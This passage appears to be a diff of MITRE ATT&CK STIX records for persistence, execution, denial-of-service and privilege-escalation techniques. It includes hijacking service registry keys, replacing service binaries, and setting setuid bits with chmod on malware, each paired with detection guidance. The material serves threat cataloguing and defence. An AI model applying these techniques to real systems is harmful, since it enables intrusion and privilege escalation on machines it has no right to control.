"Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow", + "Application Log: Application Log Content" + ], + "x_mitre_version": "1.2", + "modified": "2021-10-18T17:05:44.743Z", + "created": "2019-06-28T17:52:07.296Z", + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM", + "root" + ], + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb", + "description": "Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems. Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application. Adversaries may install malicious components to extend and abuse server applications.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "x_mitre_detection": "Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components.\n\nProcess monitoring may be used to detect servers components that perform suspicious actions such as running cmd.exe or accessing files. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells) ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1505", + "external_id": "T1505", + "source_name": "mitre-attack" + }, + { + "source_name": "US-CERT Alert TA15-314A Web Shells", + "description": "US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.", + "url": "https://www.us-cert.gov/ncas/alerts/TA15-314A" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-10T18:34:39.665Z", + "name": "Service Execution", + "created": "2017-05-31T21:30:36.550Z", + "id": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1035", + "external_id": "T1035", + "source_name": "mitre-attack" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-08-30T17:42:40.945Z", + "name": "Service Execution", + "x_mitre_data_sources": [ + "Command: Command Execution", + "Process: Process Creation", + "Service: Service Creation", + "Windows Registry: Windows Registry Key Modification" + ], + "x_mitre_version": "1.1", + "created": "2020-03-10T18:33:36.159Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", + "description": "Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and [Net](https://attack.mitre.org/software/S0039).\n\n[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals) Tools such as [PsExec](https://attack.mitre.org/software/S0029) and sc.exe can accept remote servers as arguments and may be used to conduct remote execution.\n\nAdversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_remote_support": true, + "x_mitre_detection": "Changes to service Registry entries and command line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool [PsExec](https://attack.mitre.org/software/S0029).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1569/002", + "external_id": "T1569.002", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.microsoft.com/windows/win32/services/service-control-manager", + "description": "Microsoft. (2018, May 31). Service Control Manager. Retrieved March 28, 2020.", + "source_name": "Microsoft Service Control Manager" + }, + { + "source_name": "Russinovich Sysinternals", + "description": "Russinovich, M. (2014, May 2). Windows Sysinternals PsExec v2.11. Retrieved May 13, 2015.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Service Exhaustion Flood", + "x_mitre_data_sources": [ + "Sensor Health: Host Status", + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow" + ], + "x_mitre_version": "1.2", + "modified": "2021-03-29T16:11:12.815Z", + "created": "2020-02-20T15:31:43.613Z", + "x_mitre_platforms": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Google Workspace" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--38eb0c22-6caf-46ce-8869-5964bd735858", + "description": "Adversaries may target the different network services provided by systems to conduct a DoS. Adversaries often target DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.\n\nOne example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)\n\nAnother variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_detection": "Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.\n\nIn addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.\n\nExternally monitor the availability of services that may be targeted by an Endpoint DoS.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1499/002", + "external_id": "T1499.002", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/488.html", + "external_id": "CAPEC-488", + "source_name": "capec" + }, + { + "url": "https://capec.mitre.org/data/definitions/489.html", + "external_id": "CAPEC-489", + "source_name": "capec" + }, + { + "url": "https://capec.mitre.org/data/definitions/528.html", + "external_id": "CAPEC-528", + "source_name": "capec" + }, + { + "url": "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf", + "description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019.", + "source_name": "Arbor AnnualDoSreport Jan 2018" + }, + { + "url": "https://www.cloudflare.com/learning/ddos/http-flood-ddos-attack/", + "description": "Cloudflare. (n.d.). What is an HTTP flood DDoS attack?. Retrieved April 22, 2019.", + "source_name": "Cloudflare HTTPflood" + }, + { + "url": "https://www.netscout.com/blog/asert/ddos-attacks-ssl-something-old-something-new", + "description": "ASERT Team, Netscout Arbor. (2012, April 24). DDoS Attacks on SSL: Something Old, Something New. Retrieved April 22, 2019.", + "source_name": "Arbor SSLDoS April 2012" + }, + { + "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf", + "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.", + "source_name": "Cisco DoSdetectNetflow" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-19T15:12:13.034Z", + "name": "Service Registry Permissions Weakness", + "created": "2017-05-31T21:30:49.119Z", + "id": "attack-pattern--39a130e1-6ab7-434a-8bd2-418e7d9d6427", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1058", + "external_id": "T1058", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/478.html", + "external_id": "CAPEC-478", + "source_name": "capec" + }, + { + "source_name": "MSDN Registry Key Security", + "description": "Microsoft. (n.d.). Registry Key Security and Access Rights. Retrieved March 16, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms724878.aspx" + }, + { + "url": "https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html", + "description": "Hull, D. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019.", + "source_name": "TrustedSignal Service Failure" + }, + { + "source_name": "Twitter Service Recovery Nov 2017", + "description": "The Cyber (@r0wdy_). (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018.", + "url": "https://twitter.com/r0wdy_/status/936365549553991680" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Service Stop", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Process: OS API Execution", + "Service: Service Metadata", + "Windows Registry: Windows Registry Key Modification", + "File: File Modification", + "Process: Process Termination" + ], + "x_mitre_version": "1.2", + "modified": "2021-03-02T22:11:32.017Z", + "created": "2019-03-29T19:00:55.901Z", + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM", + "User" + ], + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", + "description": "Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) \n\nAdversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_detection": "Monitor processes and command-line arguments to see if critical processes are terminated or stop running.\n\nMonitor for edits for modifications to services and startup programs that correspond to services of high importance. Look for changes to services that do not correlate with known software, patch cycles, etc. Windows service information is stored in the Registry at HKLM\\SYSTEM\\CurrentControlSet\\Services. Systemd service unit files are stored within the /etc/systemd/system, /usr/lib/systemd/system/, and /home/.config/systemd/user/ directories, as well as associated symbolic links.\n\nAlterations to the service binary path or the service startup type changed to disabled may be suspicious.\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. For example, ChangeServiceConfigW may be used by an adversary to prevent services from starting.(Citation: Talos Olympic Destroyer 2018)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1489", + "external_id": "T1489", + "source_name": "mitre-attack" + }, + { + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "source_name": "Talos Olympic Destroyer 2018" + }, + { + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "source_name": "Novetta Blockbuster" + }, + { + "url": "https://www.secureworks.com/research/wcry-ransomware-analysis", + "description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.", + "source_name": "SecureWorks WannaCry Analysis" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-09-16T19:10:04.262Z", + "name": "Services File Permissions Weakness", + "x_mitre_data_sources": [ + "File: File Creation", + "File: File Modification", + "Process: Process Creation", + "Service: Service Metadata" + ], + "x_mitre_version": "1.0", + "created": "2020-03-12T20:43:53.998Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd", + "description": "Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Travis Smith, Tripwire", + "Stefan Kanthak" + ], + "x_mitre_effective_permissions": [ + "SYSTEM", + "Administrator", + "User" + ], + "x_mitre_detection": "Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1574/010", + "external_id": "T1574.010", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/17.html", + "external_id": "CAPEC-17", + "source_name": "capec" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Services Registry Permissions Weakness", + "x_mitre_data_sources": [ + "Windows Registry: Windows Registry Key Modification", + "Process: Process Creation", + "Service: Service Metadata", + "Command: Command Execution" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-14T23:52:52.058Z", + "created": "2020-03-13T11:42:14.444Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c", + "x_mitre_defense_bypassed": [ + "Application control" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "description": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter other Registry keys in the service\u2019s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\n\nThe Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\n\nAdversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service\u2019s file may be identified using HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\servicename\\Parameters\\ServiceDll.(Citation: malware_hides_service)", + "x_mitre_effective_permissions": [ + "SYSTEM" + ], + "x_mitre_contributors": [ + "Travis Smith, Tripwire", + "Matthew Demaske, Adaptforward" + ], + "x_mitre_detection": "Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1574/011", + "external_id": "T1574.011", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/478.html", + "external_id": "CAPEC-478", + "source_name": "capec" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN", + "description": "Microsoft. (2018, May 31). Registry Key Security and Access Rights. Retrieved March 16, 2017.", + "source_name": "Registry Key Security" + }, + { + "url": "https://www.bleepingcomputer.com/tutorials/how-malware-hides-as-a-service/", + "description": "Lawrence Abrams. (2004, September 10). How Malware hides and is installed as a Service. Retrieved August 30, 2021.", + "source_name": "malware_hides_service" + }, + { + "url": "https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html", + "description": "Hull, D.. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019.", + "source_name": "Kansa Service related collectors" + }, + { + "url": "https://twitter.com/r0wdy_/status/936365549553991680", + "description": "@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018.", + "source_name": "Tweet Registry Perms Weakness" + }, + { + "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree", + "description": "Microsoft. (2021, August 5). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved August 25, 2021.", + "source_name": "microsoft_services_registry_tree" + }, + { + "url": "https://itm4n.github.io/windows-registry-rpceptmapper-eop/", + "description": "Cl\u00e9ment Labro. (2020, November 12). Windows RpcEptMapper Service Insecure Registry Permissions EoP. Retrieved August 25, 2021.", + "source_name": "insecure_reg_perms" + }, + { + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_zegost", + "description": "Trend Micro. (2012, October 9). TROJ_ZEGOST. Retrieved September 2, 2021.", + "source_name": "troj_zegost" + }, + { + "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "description": "Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020.", + "source_name": "Autoruns for Windows" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-02-05T20:09:22.650Z", + "name": "Setuid and Setgid", + "created": "2017-12-14T16:46:06.044Z", + "id": "attack-pattern--c0df6533-30ee-4a4a-9c6d-17af5abdf0b2", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1166", + "external_id": "T1166", + "source_name": "mitre-attack" + }, + { + "source_name": "setuid man page", + "description": "Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. Retrieved September 21, 2018.", + "url": "http://man7.org/linux/man-pages/man2/setuid.2.html" + }, + { + "source_name": "OSX Keydnap malware", + "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.", + "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Setuid and Setgid", + "x_mitre_data_sources": [ + "Command: Command Execution", + "File: File Metadata", + "File: File Modification" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-27T00:43:58.149Z", + "created": "2020-01-30T14:11:41.212Z", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--6831414d-bb70-42b7-8030-d4e06b2660c9", + "description": "An adversary may perform shell escapes or exploit vulnerabilities in an application with the setsuid or setgid bits to get code running in a different user\u2019s context. On Linux or macOS, when the setuid or setgid bits are set for an application, the application will run with the privileges of the owning user or group respectively. (Citation: setuid man page). Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn\u2019t need the elevated privileges.\n\nInstead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file].\n\nAdversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1548/001", + "external_id": "T1548.001", + "source_name": "mitre-attack" + }, + { + "source_name": "setuid man page", + "description": "Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. Retrieved September 21, 2018.", + "url": "http://man7.org/linux/man-pages/man2/setuid.2.html" + }, + { + "source_name": "OSX Keydnap malware", + "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.", + "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Shared Modules", + "x_mitre_data_sources": [ + "Process: OS API Execution", + "Module: Module Load" + ], + "x_mitre_version": "2.1", + "modified": "2021-10-15T13:48:02.963Z", + "created": "2017-05-31T21:31:40.542Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "id": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may execute malicious payloads via loading shared modules. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like CreateProcess, LoadLibrary, etc. of the Win32 API. (Citation: Wikipedia Windows Library Files)\n\nThe module loader can load DLLs:\n\n* via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;\n \n* via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);\n \n* via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;\n \n* via <file name=\"filename.extension\" loadFrom=\"fully-qualified or relative pathname\"> in an embedded or external \"application manifest\". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.\n\nAdversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, malware may execute share modules to load additional components or features.", + "x_mitre_contributors": [ + "Stefan Kanthak" + ], + "x_mitre_detection": "Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to %SystemRoot% and %ProgramFiles% directories will protect against module loads from unsafe paths. \n\nCorrelation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1129", + "external_id": "T1129", + "source_name": "mitre-attack" + }, + { + "source_name": "Wikipedia Windows Library Files", + "description": "Wikipedia. (2017, January 31). Microsoft Windows library files. Retrieved February 13, 2017.", + "url": "https://en.wikipedia.org/wiki/Microsoft_Windows_library_files" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Shared Webroot", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1051", + "external_id": "T1051", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/563.html", + "external_id": "CAPEC-563", + "source_name": "capec" + }, + { + "description": "Microsoft. (2016, October 20). How to: Find the Web Application Root. Retrieved July 27, 2018.", + "source_name": "Microsoft Web Root OCT 2016" + }, + { + "source_name": "Apache Server 2018", + "description": "Apache. (n.d.). Apache HTTP Server Version 2.4 Documentation - Web Site Content. Retrieved July 27, 2018.", + "url": "http://httpd.apache.org/docs/2.4/getting-started.html#content" + }, + { + "source_name": "Webroot PHP 2011", + "description": "Brandt, Andrew. (2011, February 22). Malicious PHP Scripts on the Rise. Retrieved October 3, 2018.", + "url": "https://www.webroot.com/blog/2011/02/22/malicious-php-scripts-on-the-rise/" + } + ], + "x_mitre_version": "1.0", + "modified": "2020-03-30T13:56:55.356Z", + "x_mitre_system_requirements": [ + "Shared webroot directory on remote system" + ], + "x_mitre_deprecated": true, + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db", + "description": "**This technique has been deprecated and should no longer be used.**\n\nAdversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory (Citation: Microsoft Web Root OCT 2016) (Citation: Apache Server 2018) and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.\n\nThis mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited. (Citation: Webroot PHP 2011)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "x_mitre_detection": "Use file and process monitoring to detect when files are written to a Web server by a process that is not the normal Web server process or when files are written outside of normal administrative time periods. Use process monitoring to identify normal processes that run on the Web server and detect processes that are not typically executed.", + "created": "2017-05-31T21:30:46.047Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + 